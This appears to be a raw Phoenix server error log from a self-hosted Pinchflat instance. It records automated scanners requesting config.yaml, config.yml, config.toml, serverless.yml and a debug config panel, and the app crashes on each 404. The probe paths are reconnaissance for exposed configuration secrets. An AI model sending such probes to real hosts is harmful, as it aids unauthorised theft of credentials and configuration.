{Plug.Cowboy.Conn, %{ pid: #PID<0.9717.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50742}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9718.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBV9zQxDWQZkAAc-C"} ], scheme: (truncated) 15:21:57.779 [info] GET /debug/default/view 15:21:57.780 [debug] QUERY OK source="settings" db=0.1ms idle=339.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:57.780 [debug] QUERY OK source="settings" db=0.0ms idle=339.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:57.780 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:57.780 [error] #PID<0.9720.0> running PinchflatWeb.Endpoint (connection #PID<0.9719.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /debug/default/view?panel=config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/default/view (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9719.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50756}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "panel=config", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9720.0>, params: %{"panel" => "config"}, path_info: ["debug", "default", "view"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"panel" => "config"}, query_string: "panel=config", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/debug/default/view", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBWWMTgUfrgsAA4uB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9719.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50756}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "panel=config", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/default/view (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9719.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50756}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "panel=config", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9720.0>, params: %{"panel" => "config"}, path_info: ["debug", "default", "view"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"panel" => "config"}, query_string: "panel=config", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/debug/default/view", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBWWMTgUfrgsAA4uB"} ], scheme: :http, script (truncated) 15:21:57.914 [info] GET /config.yml 15:21:57.914 [debug] QUERY OK source="settings" db=0.1ms idle=400.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:57.914 [debug] QUERY OK source="settings" db=0.0ms idle=236.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:57.914 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:57.914 [error] #PID<0.9722.0> running PinchflatWeb.Endpoint (connection #PID<0.9721.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9721.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50762}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9722.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBW2N57dS1XMAA4vB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9721.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50762}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9721.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50762}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9722.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBW2N57dS1XMAA4vB"} ], scheme: :http (truncated) 15:21:58.149 [info] GET /config.toml 15:21:58.150 [debug] QUERY OK source="settings" db=0.1ms idle=472.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:58.150 [debug] QUERY OK source="settings" db=0.0ms idle=370.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:58.150 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:58.150 [error] #PID<0.9724.0> running PinchflatWeb.Endpoint (connection #PID<0.9723.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config.toml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9723.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50768}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9724.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config.toml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBXuZ4supV_gAAc_C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9723.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50768}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9723.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50768}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9724.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config.toml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBXuZ4supV_gAAc_C"} ], scheme: (truncated) 15:21:58.388 [info] GET /serverless.yml 15:21:58.388 [debug] QUERY OK source="settings" db=0.1ms idle=608.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:58.389 [debug] QUERY OK source="settings" db=0.0ms idle=474.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:58.389 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:58.389 [error] #PID<0.9726.0> running PinchflatWeb.Endpoint (connection #PID<0.9725.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /serverless.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9725.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50776}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9726.0>, params: %{}, path_info: ["serverless"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/serverless.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBYnUVc1pvPMAAdAC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9725.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50776}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; 